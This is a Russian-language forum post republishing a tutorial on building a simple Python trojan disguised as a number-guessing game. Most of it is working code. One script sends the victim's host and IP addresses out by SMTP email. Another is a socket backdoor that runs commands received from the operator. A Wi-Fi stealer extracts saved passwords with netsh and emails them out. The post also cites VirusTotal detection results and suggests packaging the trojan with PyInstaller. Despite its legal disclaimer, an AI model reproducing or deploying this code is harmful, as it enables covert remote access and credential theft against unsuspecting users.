Создаем простейший троян на Python (Крадущийся питон)

GuDron

dumpz.ws
Admin
Регистрация
28 Янв 2020
Сообщения
7,752
Реакции
1,448
Credits
25,205

Содержание статьи​

  • Теория
  • Определяем IP
  • Бэкконнект по почте
  • Троян
  • Wi-Fi-стилер
  • Доработки
  • Заключение
В этой статье я расскажу, как написать на Python простейший троян с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если ты не знаешь Python, ты сможешь лучше понять, как устроены такие вредоносы, и поупражняться в программировании.

Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).

ТЕОРИЯ​

Итак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт.

Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.

WARNING​

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом.

ОПРЕДЕЛЯЕМ IP​

Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.

Начнем писать код. Сразу импортируем библиотеки:

import socket

from requests import get

Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip.

pip install socket

pip install requests

INFO​

Если ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.

Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.

# Определяем имя устройства в сети

hostname = socket.gethostname()

# Определяем локальный (внутри сети) IP-адрес

local_ip = socket.gethostbyname(hostname)

# Определяем глобальный (публичный / в интернете) IP-адрес

public_ip = get('http://api.ipify.org').text

Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.

Я выбрал сайт api.ipify.org, так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.

Вывести информацию еще проще:

print(f'Хост: {hostname}')

print(f'Локальный IP: {local_ip}')

print(f'Публичный IP: {public_ip}')

Никогда не встречал конструкции типа print(f'{}')? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.

INFO​

Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).

Финальный код:

import socket

from requests import get

hostname = socket.gethostname()

local_ip = socket.gethostbyname(hostname)

public_ip = get('http://api.ipify.org').text

print(f'Хост: {hostname}')

print(f'Локальный IP: {local_ip}')

print(f'Публичный IP: {public_ip}')

Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.

БЭККОННЕКТ ПО ПОЧТЕ​

Теперь напишем скрипт, который будет присылать нам письмо.

Импорт новых библиотек (обе нужно предварительно поставить через pip install):

import smtplib as smtp

from getpass import getpass

Пишем базовую информацию о себе:

# Почта, с которой будет отправлено письмо

email = '[email protected]'

# Пароль от нее (вместо ***)

password = '***'

# Почта, на которую отправляем письмо

dest_email = '[email protected]'

# Тема письма

subject = 'IP'

# Текст письма

email_text = 'TEXT'

Дальше сформируем письмо:

message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)

Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.

server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндекса

server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)

server.ehlo(email) # Отправляем hello-пакет на сервер

server.login(email, password) # Заходим на почту, с которой будем отправлять письмо

server.auth_plain() # Авторизуемся

server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)

server.quit() # Отключаемся от сервера

В строке server.ehlo(email) мы используем команду EHLO. Большинство серверов SMTP поддерживают ESMTP и EHLO. Если сервер, к которому ты пытаешься подключиться, не поддерживает EHLO, можно использовать HELO.

Полный код этой части трояна:

import smtplib as smtp

import socket

from getpass import getpass

from requests import get

hostname = socket.gethostname()

local_ip = socket.gethostbyname(hostname)

public_ip = get('http://api.ipify.org').text

email = '[email protected]'

password = '***'

dest_email = '[email protected]'

subject = 'IP'

email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}')

message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)

server = smtp.SMTP_SSL('smtp.yandex.com')

server.set_debuglevel(1)

server.ehlo(email)

server.login(email, password)

server.auth_plain()

server.sendmail(email, dest_email, message)

server.quit()

Запустив этот скрипт, получаем письмо.

screenshot-2.png

Письмо с IP
Этот скрипт я проверил на VirusTotal. Результат на скрине.

vtimg.png
 

GuDron

dumpz.ws
Admin
Регистрация
28 Янв 2020
Сообщения
7,752
Реакции
1,448
Credits
25,205

ТРОЯН​

По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.

Как обычно, начнем с библиотек:

import random

import socket

import threading

import os

Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.

# Создаем функцию игры

def game():

# Берем случайное число от 0 до 1000

number = random.randint(0, 1000)

# Счетчик попыток

tries = 1

# Флаг завершения игры

done = False

# Пока игра не закончена, просим ввести новое число

while not done:

guess = input('Введите число: ')

# Если ввели число

if guess.isdigit():

# Конвертируем его в целое

guess = int(guess)

# Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе

if guess == number:

done = True

print(f'Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.')

# Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше

else:

tries += 1

if guess > number:

print('Загаданное число меньше!')

else:

print('Загаданное число больше!')

# Если ввели не число — выводим сообщение об ошибке и просим ввести число заново

else:

print('Это не число от 0 до 1000!')

INFO​

Зачем столько сложностей с проверкой на число? Можно было просто написать guess = int(input('Введите число: ')). Если бы мы написали так, то при вводе чего угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, так как ошибка заставит программу остановиться и обрубит соединение.

Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.

# Создаем функцию трояна

def trojan():

# IP-адрес атакуемого

HOST = '192.168.2.112'

# Порт, по которому мы работаем

PORT = 9090

# Создаем эхо-сервер

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client.connect((HOST, PORT))

while True:

# Вводим команду серверу

server_command = client.recv(1024).decode('cp866')

# Если команда совпала с ключевым словом 'cmdon', запускаем режим работы с терминалом

if server_command == 'cmdon':

cmd_mode = True

# Отправляем информацию на сервер

client.send('Получен доступ к терминалу'.encode('cp866'))

continue

# Если команда совпала с ключевым словом 'cmdoff', выходим из режима работы с терминалом

if server_command == 'cmdoff':

cmd_mode = False

# Если запущен режим работы с терминалом, вводим команду в терминал через сервер

if cmd_mode:

os.popen(server_command)

# Если же режим работы с терминалом выключен — можно вводить любые команды

else:

if server_command == 'hello':

print('Hello World!')

# Если команда дошла до клиента — выслать ответ

client.send(f'{server_command} успешно отправлена!'.encode('cp866'))

Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.

Итак, строка client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) создает эхо‑сервер (отправили запрос — получили ответ). AF_INET означает работу с IPv4-адресацией, а SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается.

Строка client.connect((HOST, PORT)) указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.

Функция client.recv(1024) принимает данные из сокета и является так называемым «блокирующим вызовом». Смысл такого вызова в том, что, пока команда не передастся или не будет отвергнута другой стороной, вызов будет продолжать выполняться. 1024 — это количество задействованных байтов под буфер приема. Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто ты руками вводишь в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.

Команда decode('cp866') декодирует полученный байтовый буфер в текстовую строку согласно заданной кодировке (у нас 866). Но почему именно cp866? Зайдем в командную строку и введем команду chcp.

ccp.png

Текущая кодовая страница
Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица добавлена в латиницу. В англоязычных версиях системы используется обычный Unicode, то есть utf-8 в Python. Мы же говорим на русском языке, так что поддерживать его нам просто необходимо.

INFO​

При желании кодировку можно поменять в командной строке, набрав после chcp ее номер. Юникод имеет номер 65001.

При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет тебе домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.

Результат проверки клиента на VirusTotal порадовал.

vtimg1.png

Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давай еще пароли от Wi-Fi стащим!

WI-FI-СТИЛЕР​

Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.

Приступаем. Импорт библиотек:

import subprocess

import time

Модуль subprocess нужен для создания новых процессов и соединения c потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.

Итак, скрипт для извлечения паролей Wi-Fi:

# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре

data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')

# Создаем список всех названий всех профилей сети (имена сетей)

Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]

# Для каждого имени...

for Wi-Fi in Wi-Fis:

# ...вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear

results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')

# Забираем ключ

results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]

# Пытаемся его вывести в командной строке, отсекая все ошибки

try:

print(f'Имя сети: {Wi-Fi}, Пароль: {results[0]}')

except IndexError:

print(f'Имя сети: {Wi-Fi}, Пароль не найден!')

Введя команду netsh wlan show profiles в командной строке, мы получим следующее.

profiles.png

netsh wlan show profiles
Если распарсить вывод выше и подставить имя сети в команду netsh wlan show profile [имя сети] key=clear, результат будет как на картинке. Его можно разобрать и вытащить пароль от сети.

keys.png

netsh wlan show profile ASUS key=clear
vtimg2.png

Вердикт VirusTotal
Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.

Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.

if server_command == 'Wi-Fi':

data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')

Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]

for Wi-Fi in Wi-Fis:

results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')

results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]

try:

email = '[email protected]'

password = '***'

dest_email = '[email protected]'

subject = 'Wi-Fi'

email_text = (f'Name: {Wi-Fi}, Password: {results[0]}')

message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)

server = smtp.SMTP_SSL('smtp.yandex.com')

server.set_debuglevel(1)

server.ehlo(email)

server.login(email, password)

server.auth_plain()

server.sendmail(email, dest_email, message)

server.quit()

except IndexError:

email = '[email protected]'

password = '***'

dest_email = '[email protected]'

subject = 'Wi-Fi'

email_text = (f'Name: {Wi-Fi}, Password not found!')

message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)

server = smtp.SMTP_SSL('smtp.yandex.com')

server.set_debuglevel(1)

server.ehlo(email)

server.login(email, password)

server.auth_plain()

server.sendmail(email, dest_email, message)

server.quit()

INFO​

Этот скрипт прост как два рубля и ожидает увидеть русскоязычную систему. На других языках это не сработает, но исправить поведение скрипта можно простым выбором разделителя из словаря, где ключ — обнаруженный на компьютере язык, а значение — требуемая фраза на нужном языке.

Все команды этого скрипта уже подробно разобраны, так что я не буду повторяться, а просто покажу скриншот из своей почты.

screenshot-3.png

Результат

Доработки​

Конечно, тут можно доработать примерно все — от защиты канала передачи до защиты самого кода нашего вредоноса. Методы связи с управляющими серверами злоумышленника тоже обычно используются другие, а работа вредоноса не зависит от языка операционной системы.

И конечно, сам вирус очень желательно упаковать с помощью PyInstaller, чтобы не тянуть с собой на машину жертвы питон и все зависимости. Игра, которая требует для работы установить модуль для работы с почтой, — что может больше внушать доверие?

ЗАКЛЮЧЕНИЕ​

Сегодняшний троян настолько прост, что его никак нельзя назвать боевым. Тем не менее он полезен для изучения основ языка Python и понимания алгоритмов работы более сложных вредоносных программ. Мы надеемся, что ты уважаешь закон, а полученные знания о троянах тебе никогда не понадобятся.

В качестве домашнего задания рекомендую попробовать реализовать двусторонний терминал и шифрование данных хотя бы с помощью XOR. Такой троян уже будет куда интереснее, но, безусловно, использовать его in the wild мы не призываем. Будь аккуратен!